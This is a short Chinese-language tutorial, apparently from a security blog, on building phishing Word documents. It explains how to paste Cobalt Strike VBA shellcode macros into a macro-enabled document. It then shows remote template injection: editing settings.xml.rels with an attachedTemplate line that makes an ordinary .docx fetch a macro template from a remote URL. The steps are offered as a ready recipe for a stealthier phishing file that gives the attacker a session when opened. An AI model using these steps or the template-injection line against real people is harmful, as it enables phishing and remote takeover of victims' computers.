原理就是利用VBA宏代碼創建進程、申請虛擬內存、拷貝內存將shellcode加載進內存來獲取權限,VBA原本是微軟為了office使用者們能根據自身的情況來編寫代碼省去不必要的麻煩,攻擊者卻可以拿來進行攻擊.
其實ppt、word的手法都大同小異,會一種其他的就差不多了
環境相關
win7 word2016(啟用宏) cobalt strike的宏代碼
環境搭建

選項->信任中心->信任中心設置->宏設置->啟用所有宏

選項->自定義功能區-->打開開發工具

啟用宏的word文檔
使用cobalt strike生成VBA宏代碼,之后將宏代碼粘貼到word、ppt等,這里面以Word展示一下
Attacks->Packages->MS Office Macro

打開office生成一個文檔,之后將其保存為啟用宏的文檔

之后在視圖->宏中添加宏(隨意起個名字,之后點擊創建)

將宏代碼填入這個位置

之后點擊一下文檔就能收到會話了
這種方法很容易被檢測到,下面介紹另一種技術遠程模板加載
遠程模板注入技術
word文件一般與三個后綴名有關,docx、docm、dotm
docm就是啟用宏的word文檔,不需要其他的東西就可以自己啟動宏,上文就是這種類型
docx是普通的word文件,自身沒有任何宏代碼,但是可以遠程加載宏模板
dotm就是上文的宏的模板,下面演示一下,如何使用
首先創建一個dotm文件

之后打開->創建宏->填入宏代碼(與上文制作的類似)
在創建一個docx文件

后綴名修改為zip,然后解壓

修改./word/_rels/settings.xml.rels文件,如果沒有請創建
寫入以下內容
<Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/attachedTemplate" Target="這里放payload"/></Relationships>
在Target出填寫模板地址
如果想加載本機的模板,使用file協議本地加載`file:///c:\test\Docx1.dotm`
遠程加載的話使用,直接https://xxxxxx/Docx1.dotm(GitHub上的話使用https://github.com/xxxx/GItLearn/blob/master/Doc1.dotm?raw=true)
然后在將源文件解壓為zip,在修改為docx,這樣一份釣魚文件就完成了(若是對方開啟了宏功能的話點擊就會上線)

相比於其他,遠程模板技術更隱蔽,因為docx是不自帶宏代碼的
參考資料
https://payloads.online/archivers/2019-05-16/1#0x04-%E6%95%88%E6%9E%9C
